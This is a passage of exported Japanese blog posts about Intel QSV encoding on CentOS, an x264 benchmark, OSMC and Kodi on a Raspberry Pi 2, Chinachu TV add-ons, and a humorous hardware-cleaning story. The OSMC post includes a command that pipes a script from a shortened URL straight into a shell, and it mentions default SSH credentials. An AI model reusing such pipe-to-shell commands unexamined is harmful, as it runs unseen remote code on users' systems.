| あのダウンロードするやつ\nnet-tools | ネットワーク設定するアレ\n\nそしてあとは手順通りにインストールすればいいだけ。だと思ってたんですが、そのままインストールすると、ファイルやディレクトリが足りない(?)というエラーで怒られてしまいます。\n見た感じインストールスクリプトのバグのようですが、一般環境向けのGeneric SDKが用意されているので、これを先にインストールしてからOS SpecificなSDKで上書きすることで、正常にインストールすることができるようです。\n\nなので、SDKのディレクトリにあるGenericディレクトリに移動し、ぽつりと存在するアーカイブを展開します。\n\n\n\n展開されたファイルの中にあるシェルスクリプトを管理者権限で実行し、Generic SDKをインストールします。\n\n\n\nこの作業で必要なディレクトリとファイルが作成されるので、次にOS固有のドライバとSDKをインストールします。\n\nSDKのディレクトリに戻り、さらにCentOSのディレクトリに移動しファイルを確認すると、以下のようになっているはずです。\n\n\n\n \nここではファイルの展開等は行わず、PDF記載の通りにユーザーをvideoグループに追加して、`/MSS`ディレクトリを作成してそこにファイルをコピーしてカレントディレクトリも移動し、インストール関連ファイルの入ったアーカイブを展開してでてくるSDKのインストールスクリプトを実行します。下図のninnikuはカレントユーザー名なので適当に`$(whoami)`に置換してください。\n\n\n\n\nSDKのインストールが成功すると、下図のようになり、再起動を促されるのでひとまず再起動します。\n\n\n\n\n再起動後、再度`/MSS`へ移動して、下図のようにドライバの組み込まれたカーネルをビルドします。\n\n\n\n正常に終了すると以下のようになります。\n\n\n\n指定された場所`./rpmbuild/RPMS/`に移動すると`x86_64`ディレクトリがさらにあるのでそこに移動し、ここにあるQSVドライバが組み込まれたカーネルカーネルをインストールします。しかし今回使用しているCentOS 7では、QSVドライバが組み込まれたカーネルより新しいカーネルがインストールされていたため、QSVドライバ付きカーネルのインストールを拒否されてしまいました。\n古いバージョンであることを重々承知した上でインストールするため、`--oldpackage`オプションを追加してインストールし、再起動してドライバのインストールは終了です。\n\n\n\n\n再起動後、`lsmod | grep i915`として、以下のように幾つか該当があれば、ドライバが動作していることを確認できます。\n\n\n\n\nこれで終わりかと思いきや、インストールスクリプトのバグなのか、ライブラリのリンク先が間違っており、実際にSDKを利用するときにリンクできずにプログラムが起動しない、などが発生してしまいます。\n\nなので、下記スクリプトを実行してライブラリのパスを再設定してください。\n\n`sudo bash -c '(ldconfig -p -N | grep intel.mediasdk) || echo \"/opt/intel/mediasdk/lib64\" >> /etc/ld.so.conf.d/intel-mediasdk.conf && ldconfig'`\n\n\n## H264_QSV codec for FFmpeg\n\nさて、IMSSのインストールができたのでSDKを利用する代表的なプログラムとして、QSVによるH.264エンコードをしましょう。\n\n前回の記事で紹介した[qsv_ffmpeg_codec](https://github.com/shenhailuanma/qsv-ffmpeg-codec)はIntel Media SDKの対応バージョンが古く、導入に手間がかかるのでIMSS 2014 R3対応版としてフォークしました。下記リポジトリに置いてあります。\n\n*[mzyy94/h264_qsv-ffmpeg](https://github.com/mzyy94/qsv_h264-ffmpeg)*\n\nここからクローンし、ディレクトリ下にある`./setup.sh`を実行して、FFmpeg-2.2ディレクトリに移動して`make`して、インストールください。\n\nこのコーデック、QSVによるH.264へのエンコードはしっかりとできるのですが、**MPEG-TSファイルのエンコードはエラーになります**。原因は、TSの仕組みゆえの、ライブラリの関数`MFXVideoENCODE_EncodeFrameAsync`に渡される引数によるものというところまではわかったのですが、修正にはほぼ全ての処理を書き換えないといけない手間がかかるので、MPEG-TSから一度RAWファイルを抽出し、パイプ等を使ってQSVコーデックに渡してエンコードしてください。\n\n実行方法の例としては、\n`ffmpeg -i in.avi -acodec copy -vcodec h264_qsv -b:v 2000k -y -sar 16:9 -s 1280x720 -r 30000/1001 -bufsize 20000k -maxrate 25000k out.mp4`\nのようにHDサイズにリサイズして変換することができます。\n\nせっかくなのでベンチマークとして、[Big Buck Bunny](http://www.bigbuckbunny.org)をエンコードしようと思ったのですが、残念ながら執筆中にダウンロードが終わらなかったのでまたの機会に追記する形で公開しようと思います。\n\n\n## まとめ\n\nLinuxでもQSVできる。\n\n \n"]}],[0,{"slug":[0,"2015/01/31/qsv-x264-linux-battle/"],"data":[0,{"title":[0,"LinuxでQSVとH.264のエンコード対決"],"date":[3,"2015-01-31T10:23:04.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"ffmpeg"],[0,"qsv"],[0,"x264"],[0,"linux"]]]}],"content":[0,"\n先日の記事、でLinuxでH.264の動画をエンコードできることを紹介しました。\nそのベンチマークをとってみました。QSVでのエンコードとlibx264を用いたエンコードの比較となります。\n\n今回エンコード時間の比較に用いた動画は以下のものを利用しました。\n\n*[Big Buck Bunny](http://www.bigbuckbunny.org)*\n\n\n\nここの、`big_buck_bunny_1080p_surround.avi`を以下の表のオプションでLibx264とQSVでのエンコードで変換し、比較をしてみました。\n\n項目 | 値\n:-----:|:-----:\n音声コーデック| コピー\nビットレート|2000kbps\nサイズ| 1280x720\nフレームレート| 29.97\n\nこのオプションで起動すると、**ffmpeg -i big_buck_bunny_1080p_surround.avi -acodec copy -vcodec コーデック -b:v 2000k -s 1280x720 -r 30000/1001 -y 出力ファイル**という起動オプションになります。\n\n\n## 目次\n\n\n## 仮想8コアでx264エンコード\n\nXeon搭載マシンで動かしているKVMに仮想8コアを割り当てた環境でエンコードしてみました。\nFFmpegの粋な計らいによって、エンコード中は以下のようにたくさんのスレッドが立ちがあり、マシンはエンコードに専念していました。\n\n\n\nCPUはエンコード中、全コア90%前後の使用率を維持していました。そんなエンコードにかかった時間は以下の通りでした。\n\n```\nreal 2m50.118s\nuser 20m15.617s\nsys 0m7.375s\n```\n\n10分の動画を3分足らずでエンコードしてしまいました。恐るべきコア数の暴力。\n\n\n## 仮想8コアでQSVエンコード\n\n先ほどと同じ環境でQSVを用いたエンコードをしてみました。\nこちらもFFmpegによって複数のスレッドによる処理がされるのですが、CPUの負荷は多くて各コア10%程度となる非常に省エネなエンコードとなっていました。\n\n\n\n\nこんな省エネでもエンコードに要する時間はそれほどかかりませんでした。\n\n```\nreal 3m6.697s\nuser 2m56.301s\nsys 0m4.871s\n```\n\n3分とちょっとでエンコードが完了しています。さすがにXeon 8コアにはかなわないようです。\n\n\n## 仮想1コアでx264エンコード\n\nKVMで割り当てコア数を1コアに設定し、x264を用いたエンコードをしてみました。\n負荷はほぼ100%、まれに90%前後になる程度でした。\n\n\n\n\nじっくりエンコードしてかかった時間は以下のとおりです。\n\n```\nreal 10m56.739s\nuser 10m54.374s\nsys 0m1.070s\n```\n\n動画再生時間+10%程度の時間がかかっていました。\n\n\n## 仮想1コアでQSVエンコード\n\nQSVとコア数の関係性は不明ながら、比較のために同じ環境でQSVでもエンコードしてみました。\n負荷はほとんどないかと思ってたのですが、エンコーダに渡す前処理などで少々CPUを使うようで、90%前後まで達したり0%付近をうろうろしたりと、不安定な負荷がかかっていました。また、なぜか2スレッドで処理していました。\n\n\n\n要した時間は以下のとおりです。\n\n```\nreal 3m0.692s\nuser 2m35.944s\nsys 0m0.972s\n```\n\n予想はついていましたが、QSVでは8コアでも1コアでもほとんど時間は変わらないようです。\n\n## 仮想1コアで複数のQSVエンコード...?\n\n記事公開直後にこのような気になる意見をいただきました。\n\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\"><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 一コア使用QSVで複数同時エンコしたらどうなるか実験してもらえるとうれしいです</p>&mdash; バッファリング (@polamjag) <a href=\"https://twitter.com/polamjag/status/561469823561920513\">2015年1月31日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n早速、QSVでの同時エンコードを試してみました。\ntmuxで分割し、上下のコンソールで同時にエンコードを開始してみた結果が以下の画像のとおりになります。\n\n\n\nライブラリがIGPへアクセスできないようでアクセス違反起こして終了してしまうため、QSVでの同時エンコードはダメでした。\n\n## ファイルサイズ比較\nビットレート固定なのでそれほど違いはありませんが、ファイルサイズは以下のようになっています。\n\n```\n$ ls -l\ntotal 1261812\n-rw-rw-r--. 1 ninniku ninniku 928670754 May 6 2008 big_buck_bunny_1080p_surround.avi\n-rw-rw-r--. 1 ninniku ninniku 179373021 Jan 31 02:27 big_buck_bunny_qsv.mp4\n-rw-rw-r--. 1 ninniku ninniku 184045287 Jan 31 02:23 big_buck_bunny_x264.mp4\n```\n\nQSVでエンコードしたほうが4MBほどファイルサイズが小さくなっていました。\n\n## 品質について\n\nx264とQSVの比較では目立った差異は見受けられなかったです。視力の問題かもしれませんが。\n\n## まとめ\n\n動画再生時間の3分の1程度でエンコードができるQSVはLinuxでもすごい。\n"]}],[0,{"slug":[0,"2015/02/16/raspberry-pi2-osmc-jp/"],"data":[0,{"title":[0,"Raspberry Pi2にOSMC入れてKodi(旧:XBMC)日本語化するまで"],"date":[3,"2015-02-16T11:05:56.000Z"],"image":[0,"/assets/images/2015/02/16/raspi2.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"osmc"],[0,"kodi"],[0,"raspberry-pi"],[0,"sbc"]]]}],"content":[0,"\n今月頭の発表で一気に盛り上がりを見せた[Raspberry Pi 2 Model B](http://www.raspberrypi.org/products/raspberry-pi-2-model-b/)。もちろん発売日に購入しました。\n手元にはRaspberry Pi BとGalileo Gen2の2つのLinuxが動く小型ボードがあるんですが、主にメディアセンター用途で使おうとしていたRaspberry Pi Bに性能面で不満を抱いていたため、今回この新バージョン購入は即決しました。\n\nRaspberry Piでのメディアセンター用途で代表的なのは[Raspbmc](http://www.raspbmc.com/)ですが、\nこのプロジェクトは[OSMC](https://osmc.tv/about/)に移行するようで、2015年2月2日のFinalリリースの配布をもって終了となりました。\n\nということで、Raspberry Pi 2 Model B(以下、RPi2B)にOSMCを導入して日本語化するまでのメモを残します。\n\n## 目次\n\n\n## OSMCインストール\n\n\n\nOSMCは[https://osmc.tv/download/](https://osmc.tv/download/)からインストーラーがダウンロードできるので、自分の使ってるOSにあったインストーラーをダウンロード・実行して、microSDHCにイメージを書き込むだけです。2015/2/16時点での最新版であるAlpha 4をインストールしました。\n\n## 日本語化\n\n\n\n起動するとこんな感じです。OSMCテーマ標準のフォントは流行りのLightなウェイトを持つRobotoとOpenSansが利用されているため、もちろんのこと日本語は表示できません。\nテーマのデザインを損ねることなく、日本語でも美しい細字のフォントで表示したく思い、[M+ FONT](http://mplus-fonts.sourceforge.jp/mplus-outline-fonts/index.html)を利用することにしました。\n\nM+ FONTはJIS第一水準までの漢字を網羅し、極細から極太まで7種のウェイトを収録した美しいフリーフォントです。\nLightウェイトフォントでJIS第二水準まで含むオープンなフォントはAdobeとGoolgeが共同で開発・公開している[Noto Sans CJK](https://www.google.com/get/noto/cjk.html)/[Source Han Sans](https://github.com/adobe-fonts/source-han-sans/tree/release)があります。しかし、OpenTypeフォントとしての配布である上に、TrueTypeに変換しても18MB前後のフォントファイルとなってしまい、Kodiで読み込めないことを確認したのでM+ FONTを利用します。\n\nM+ FONTを利用するため、OSMC上で以下のスクリプトを実行するか、`curl -L http://git.io/pjg5 | sh -`とするとデフォルトフォントをM+ FONTに差し替えられます。\nOSMCへはSSHで(USER/PASSともに`osmc`)ログインしてください。※パスワードの変更をお忘れなく。\n\n<script src=\"https://gist.github.com/mzyy94/15ee1b3880107e9d7ece.js?file=osmc-jp-font-replace.sh\"></script>\n\n\nこのあと、Settings->Appearance->International->Japaneseとすることで、以下のような美しい日本語メニューが表示されるようになります。\n\n(本当は日本語化したくてやったんじゃなく、次の記事で紹介する地デジの番組表情報が表示されるようにするために日本語フォントが必要で導入したので、表示確認後英語表記に戻しました。)\n\n\n\n\n## MPEG-2ライセンス購入\n\nメディアプレイヤー用途として使うにはMPEG-2のハードウェアデコードを有効化して、快適に動画(地デジ)再生ができるようにしたいと思い、ライセンスを購入しました。\n\nRaspberry PiはMPEG-2ハードウェアデコーダーの利用にライセンス料を課しているので、£2.40支払ってキーを入手します。\n[ライセンスキーストア](http://www.raspberrypi.com/mpeg-2-license-key/)にシリアル番号を入力してカートに入れ購入手続きし、深夜にでも送られてくるであろうシリアルキーを、\n`echo decode_MPG2=0xdeadbeef | sudo tee -a /boot/config.txt`のようにしてハードウェア設定ファイルに追記し再起動してハードウェアデコーダーを有効にします。\n\nこれで快適に地デジなどの動画が再生できるようになります。\n\n\n## 次回予告\nRaspberry Pi 2で地デジ視聴する\n"]}],[0,{"slug":[0,"2015/02/21/kodi-livetv-chinachu/"],"data":[0,{"title":[0,"KodiとChinachuで地デジLive視聴 on Raspberry Pi2 w/ OSMC"],"date":[3,"2015-02-20T22:02:43.000Z"],"image":[0,"/assets/images/2015/02/21/kodi-livetv.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"kodi"],[0,"chinachu"],[0,"osmc"],[0,"dtv"],[0,"raspberry-pi"],[0,"sbc"]]]}],"content":[0,"\n\nどうも、Raspberry Pi2で遊ぶ毎日が続いております。\nRaspberry Pi model B(2ではない)にRaspbmcを入れて昨年の夏頃からChinachu経由で地上デジタル放送を視聴する環境を構築していたのですが、\nいかんせんスペックが低く、チャンネル切り替え時などにもたついていました。\n\nRaspberry Pi2が発売され、従来の6倍のパフォーマンスが発揮できるようになり、もたつきがなく不便しなくなってきたので、\nRaspbmc改めOSMCで地デジ視聴をする方法をまとめます。\n\n## 目次\n\n\n\n## PVRクライアント\nKodi(旧:XBMC)にはテレビ放送を視聴するためのPVRクライアントという機能があります。\nテレビ放送の配信携帯に合わせていくつかPVRクライアントがAdd-onとして提供されていますが、汎用的につかえるものに\n[XBMC IPTV Simple Client](https://github.com/afedchin/xbmc-addon-iptvsimple/)というものがあります。\n\nXBMCからKodiに名称変更した際に、Kodi本体にこれらのPVRクライアントはあらかじめバンドルされるようになり、\nこれまでは各自ビルドしてインストールしていたのが、設定して有効化するだけで使えるようになっています。\nもちろんこのIPTV Simple Clientもバンドルされています。これを使って地デジを視聴する環境を構築します。\n\n### IPTV Simple Client\nこのAdd-onは、m3u形式で配信されているチャンネル配信情報と、[XMLTV形式](http://wiki.xmltv.org/index.php/XMLTVFormat)で配信されている番組表情報を用いてネットワーク経由でテレビを視聴することができるPVRクライアントです。\n数あるプレイリストフォーマットの中でも一般的な形式であるm3uと、[MythTV](http://www.mythtv.org/)などのテレビ視聴・録画クライアントがサポートするEPG番組表形式であるXMLTVを用いているため、テレビ放送配信側となるサーバーがサポートしていれば簡単に地デジをKodiで視聴できます。\n\n今回テレビ放送を配信するサーバーとしてはChinachuを使いますが、残念ながら上記のm3u形式のチャンネル情報とXMLTV形式の番組表情報は提供されていません。\nなので、Chinachuに2つのファイルを追加して機能を追加することで対応するようにしました。\n\n\n## Chinachu\n数ある地デジ録画管理ソフトウェアの中でもモダンなデザインで、使い勝手がよくREST APIを提供している素敵なソフトウェアです。\nChinachuは番組の録画・再生が主な機能とされていますが、現在放送中の番組の視聴にも対応しており、APIを経由することでいろいろなクライアントから再生することができます。\nしかし、前途の通りChinachuが提供するAPIでは、IPTV Simple Clientが対応するm3u形式のプレイリストやXMLTV形式の番組表情報は取得できません。\n幸いなことに、ChinachuへのAPIの追加は難しくなく、Chinachuが動作するディレクトリ直下にある__api__ディレクトリにAPIリソース情報とスクリプトを配置することで必要なAPIを追加することができます。\n\nIPTV Simple Clientに必要な、\n\n* m3u形式でのチャンネル配信情報\n* XMLTV形式での番組表情報\n\nの二つをAPIで提供するファイルを作りました。\n以下からダウンロードしてapiディレクトリのファイルをChinachuのapiディレクトリに放り込んでください。\n\n_[https://github.com/mzyy94/Chinachu-IPTV-API-addon](https://github.com/mzyy94/Chinachu-IPTV-API-addon)_\n\nこれを導入すると、\n\n* `/api/iptv/channel.m3u8`にチャンネル配信情報\n* `/api/iptv/epg.xml`にXMLTV情報\n\nが提供されるようになります。\n\n## KodiでSimple IPTV Clientの設定\n\nサーバー側の準備は整ったのでKodiの方の設定をします。前回の記事で日本語化したRaspberry Pi2で動くOSMC上のKodiでの設定方法になります。\n\n上記の通り、KodiにはPVRクライアントが導入されているので、Add-on管理から設定をして有効化するだけで準備ができます。\n\n\nまず、設定のAdd-onの中にある無効なアドオンからPVR Simple IPTV Clientを探して選択し、設定画面を開きます。\n\n\n\n\n設定画面にあるM3UプレイリストのURLとXMLTV URLにChinachuのWUIが動作するURLに続けて、下図のように設定します。\n各自環境に合わせて`chinachu:10772`の部分を書き換えてください。\n\n\n\n\n設定を終えたらSimple IPTV Clientの__有効__を選択して有効にし、Kodiの全体の設定にあるLive TV設定に移動してLCD有効(誤訳?)すると、\nトップの画像のようにライブTVの項目が現れ、PVRが利用できるようになります。\n\n\n\nm3uプレイリストとしてAPIが提供するチャンネルは、Chinachuの設定ファイルに記載の通りの順番でサブチャンネル含め配信しているので、\n後日紹介するであろうリモコンを使ってチャンネル切り替えを行う場合は、Live TV設定のチャンネルマネージャーからグループ管理を行って、\n不要なチャンネルを隠すことでリモコンでの操作に適したチャンネルのみを切り替え可能にできます。\n\n\n\n\n\nここまで終わった状態で、Kodiのトップに移動するとライブTVの項目が増えているはずです。これを選択すると、デフォルトではEPG番組表が表示されます。\nKodi上でキーボードのEを押すと同じようにEPG番組表が表示されます。\n\n\n\nここで、バックスペースキーを押すとチャンネル一覧を表示するメニューが現れるので、そちらに切り替えると現在放送中の番組情報が表示されます。\nもしくはキーボードのHを押すことでチャンネル一覧が表示できます。\n\n\n\n\nここで好きなようにチャンネルを切り替え、地デジを観ることができます。\n\n\n## まとめ\n\nMPEG-2ライセンスを導入してあるRaspberry Pi2だとサクサク地デジが見られる。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">Raspberry Pi 2での地デジ視聴時の負荷<br>HWデコーダー有効にするとフレームドロップなしでCPU負荷はほぼゼロ <a href=\"http://t.co/rAzv7eCTGW\">pic.twitter.com/rAzv7eCTGW</a></p>&mdash; はいふりを見て®︎™ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/565610656809091072\">2015年2月11日</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n"]}],[0,{"slug":[0,"2015/02/24/kodi-chinachu-addon/"],"data":[0,{"title":[0,"KodiでChinachuの録画を観るAdd-on作った"],"date":[3,"2015-02-24T10:28:35.000Z"],"image":[0,"/assets/images/2015/02/24/addon-info.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"kodi"],[0,"osmc"],[0,"chinachu"],[0,"raspberry-pi"],[0,"sbc"]]]}],"content":[0,"\nRaspberry Pi2でKodi(旧:XBMC)が快適に動き、地デジのLIVE視聴環境として優れているので、\nChinachuの本領である録画した動画の視聴したみが高まってきました。\n\nKodiには簡単にAdd-onが作れる仕組みがあり、動画や音楽のコンテンツを独自で配信・管理する仕組みがつくれます。\nChinachuには録画ファイルの情報とストリーミング視聴ができるREST APIが搭載されているので、\nこれを叩いてKodiで動画コンテンツを視聴できるAdd-onを作ったのでお知らせいたします。\n\n## 目次\n\n\n## Kodi/XBMC Add-on\n\nKodiではPythonを用いてGUIやコンテンツを操るAdd-onを作成できるようになっています。\nAdd-on作成に関する情報は[Add-on development - Kodi](http://kodi.wiki/view/Add-on_development)にあるので、作成はそこまで難しくないです。\nコンテンツ管理プラグインの他にも、スキンやバックグラウンドサービスも同じAdd-onの構造で作成できるので興味がある人は作ってみてください。\n\n## Chinachu client add-on\n\nChinachuのREST APIを叩いて動画を取得してコンテンツ一覧に表示、再生、そしてChinachuサーバー上の録画データを削除できるAdd-onを作成しました。\n\n__[https://github.com/mzyy94/plugin.video.chinachu](https://github.com/mzyy94/plugin.video.chinachu)__\n\n\nReleaseのページからダウンロードして設定のアドオンからzipファイルからインストールでインストールしてください。\nその後、有効なアドオンの一覧からビデオアドオンにあるChinachu clientを探し、設定を開いてChinachuの動くサーバーのアドレスとその他オプションを設定すると利用できるようになります。\n\n### 使い方\n利用方法は、Kodiトップにあるビデオメニューの中のビデオアドオンからChinachu clientを起動するだけです。\n\n\n\n一覧の動画を選択した状態で右クリックを押すかメニューを表示すると、メニュー中に削除の項目があります。\nこれを選択すると、確認ダイアログ表示の後、Chinachuで管理されている__録画ファイルと録画情報の両方を削除__します。\nキャンセルはできないのでご注意を。\n\n\n\n### 設定\n\n\n\n\nChinachu clientには幾つか設定を設けてあります。\n\n#### 基本\n基本となるChinachuのURLの設定は必須です。Chinachu-WUIのAPIを叩くので、プロトコルとポート番号を含めたURLを設定してください。\n\n\n\n#### ストリーミング\nストリーミングカテゴリにはChinachu WUIでストリーミングする際に指定するものと同じ感覚で設定してください。\nMPEG-2 ハードウェアデコーダーを導入してあるRasPi2ではこのオプションは未設定の方が良いと思います。\n\n#### サムネイル\nサムネイルカテゴリには、Chinachu APIのpreview.jpgを取得してKodiのサムネイルフォルダにキャッシュするオプションがあります。\navconvで生成している都合上、取得には時間がかかるので必要でなければ無効のままにしておくことをお勧めします。\nまた、一度サムネイルを取得し始めるとKodiを終了するまでバックグラウンドで取得し続けます。さらに、未取得のサムネイルは毎回取得しに行きます。\nこの点ご注意ください。\n\nサムネイルが不要になった際は、キャッシュのクリアもできます。\n\n#### 動画情報\n動画情報カテゴリでは、動画情報に関する細かなオプションがあります。\n\nエピソード番号を強制的に指定オプションは、一部のテーマ向けの設定です。\n放送日がエピソード番号が指定されていないと表示されないテーマがあるため、放送日が表示されない動画がある場合は有効にしてください。\nこのオプションが有効の場合、バラエティ番組など連続したエピソードがない放送にエピソード番号に1を指定します。\n\nチャンネル名を表示する場所を選択するオプションも、一部のテーマ向けの設定です。\n通常、チャンネル名はスタジオとして動画情報に登録されている場合、動画の詳細情報に表示されるのですが、テーマによってはスタジオを表示しないものがあるようです。\nチャンネル名が表示されないなと思ったらこのオプションをいじってみてください。\n\n\n### 動作してる図\nこんなかんじです。\nスキンは一番上はConfluenceで他はTitanです。\n\n\n\n\n\n\n\n\n## まとめ\nRaspberry Pi2は買いである\n"]}],[0,{"slug":[0,"2015/03/06/yuzu-trouble/"],"data":[0,{"title":[0,"柚子胡椒でサーバーを壊さないために"],"date":[3,"2015-03-06T09:05:49.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"yuzu"],[0,"kosho"]]]}],"content":[0,"\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>【急募】PCIスロットに詰まった柚子胡椒を取り除く方法</p>&mdash; えびみっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/573719000464556033\">2015, 3月 6</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n柚子胡椒を部屋中にぶちまけたところ、メンテナンス中だったサーバーのマザーボードに降りかかり、あろうことか柚子胡椒がPCIeスロットに入り込んでいました。\nすでにそのような経験のある人には不要な記事かもしれませんが、Twitter経由で得られた、柚子胡椒とサーバーをお持ちのみなさまによる解決案と対策をまとめました。\n\n## 目次\n\n\n## 事の経緯\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>柚子胡椒のチューブの出が悪い&#10;↓&#10;振って出やすくする&#10;↓&#10;キャップ閉め忘れる&#10;↓&#10;部屋中に柚子胡椒が飛び散る&#10;↓&#10;メンテナンス中のサーバーに降りかかってる&#10;↓&#10;PCIスロットに詰まってる</p>&mdash; えびみっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/573719406284398592\">2015, 3月 6</a></blockquote>\n\n柚子胡椒を出したかっただけなのです。\n\n<Notice type=\"tip\">\n**追記:** ここにまとめられているようです。\n[柚子胡椒スロット - Togetterまとめ](http://togetter.com/li/791586)\n</Notice>\n\n## 解決案\n\n柚子胡椒を取り除く解決案がいくつか寄せられたのでご紹介します。\n\n### 吹き付ける\n\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> ふつうにエアダスターとかでは</p>&mdash; 日替わりデトックス (@polamjag) <a href=\"https://twitter.com/polamjag/status/573721418392727552\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> マジレスすると逆さまにして下からブレーキクリーナーを吹いて流すくらいですかねー&#10;ある程度は爪楊枝や紙で取っておくといいでしょう</p>&mdash; タモ=サーン (@tamosan) <a href=\"https://twitter.com/tamosan/status/573721435580956672\">2015, 3月 6</a></blockquote>\n\n\nエアダスターは手持ちを切らしていてトライできず。ブレーキクリーナーは持ってなかったので試せなかったのですが、油分の多い調味料がスロットに入った場合は効果的かもしれません。\n\n### 吸う\n\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 単なる思い付きで確証はないですがハンダ吸い取り器とか使えませんかね</p>&mdash; ゆーいちろー@沈降中 (@Yuichiro_S) <a href=\"https://twitter.com/Yuichiro_S/status/573721963736096768\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 掃除機で吸えば……</p>&mdash; 堀石 廉 (@Holyithylene) <a href=\"https://twitter.com/Holyithylene/status/573720291160944641\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 「急いで口で吸え!」とか自分が知らないネタを言ってみる</p>&mdash; 赤井太一 (@CM_cube) <a href=\"https://twitter.com/CM_cube/status/573720661647982592\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 電源入れてあっためたらとんでも無いことになりそう・・・! うーん、、掃除機で吸い出して、その後なんとか拭き取るってのもあるけど錆びちゃいそうですよね・・・吹かないと。</p>&mdash; salexkidd (@salexkidd) <a href=\"https://twitter.com/salexkidd/status/573722031193116673\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> まず大きな塊はストローで吸い取れませんか</p>&mdash; Koike (@kichi_robo) <a href=\"https://twitter.com/kichi_robo/status/573721080570888194\">2015, 3月 6</a></blockquote>\n\n一番多かった解決案です。吸引力でなんとかなる調味料もあるかもしれませんが、PCIスロットに潜む柚子胡椒はあの半固体感と適度な粘性によって、半田吸い取り機での吸引は効果ゼロでした。あと手元にある掃除機はルンバだけなので、掃除機チャレンジはできませんでした。\n\n### 洗い流す\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> もう、マザーボードはずして水洗いしか。バックアップバッテリーはずすの忘れないように。</p>&mdash; 堀石 廉 (@Holyithylene) <a href=\"https://twitter.com/Holyithylene/status/573721583505661952\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> <a href=\"https://twitter.com/takauke\">@takauke</a> 純アルコールに漬け込んでみてはいかがですかね?</p>&mdash; いとー@東京 (@transistor) <a href=\"https://twitter.com/transistor/status/573723431113334784\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 最終手段としては、CMOS電池外す⇒中性洗剤で洗う⇒水道水でよくすすぐ&#10;⇒純水ですすぐ⇒エタノール漬けで脱水⇒よく乾燥させるくらいですかね?</p>&mdash; 桜庭ねむ@醤油屋L0L1エンジニア (@sakuraba_nemu) <a href=\"https://twitter.com/sakuraba_nemu/status/573724225879441409\">2015, 3月 6</a></blockquote>\n\n今回採用したケースです。塩分と油分の含まれる柚子胡椒には中性洗剤を溶いた純水(純水の定義については後述)が効果的であるという目論見のもと、この解決案を採用しました。乾燥にはアルコール(エタノール)を使用するというのがマザボ水洗い界隈には定石のようです。\n\n\n## トラブル対処の図\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>TLの皆様からの貴重な解決法の提供を受け&#10;・純水使用&#10;・中性洗剤使用&#10;・歯ブラシは危険&#10;・エタノールで水分揮発&#10;を実践してみます。各位貴重な情報ありがとうございます。 <a href=\"http://t.co/z6TDweZYOL\">pic.twitter.com/z6TDweZYOL</a></p>&mdash; PCI柚子胡椒職人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/573728196991918080\">2015, 3月 6</a></blockquote>\n\n\n## 注意点\n### 純水と精製水は違う\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>純水と超純水はちがうっすよ,PCI柚胡椒氏...</p>&mdash; じとめすきー (@jitomesky) <a href=\"https://twitter.com/jitomesky/status/573729225326247936\">2015, 3月 6</a></blockquote>\n\n手元にあった純水は、サーバーで飼っていたえびの汽水濃度を調節するものです。また、純水≠精製水であり、電子機器の洗浄に用いられるのは超純水というものであるそうです。慌てふためいていたのですっかり「純水=純水という名の水」と勘違いしてしまい、純水(精製水ではない)を使ってしまいました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>&gt;&gt; 半導体などの電子部品や電子回路の基板、更には液晶パネルに使うガラスなどの製造工程で使う洗浄水には、ごく微量の不純物が残っていても製品の品質に重大な影響を及ぼすため、純水から純度を更に上げた超純水を用いる必要がある。</p>&mdash; じとめすきー (@jitomesky) <a href=\"https://twitter.com/jitomesky/status/573728845771071488\">2015, 3月 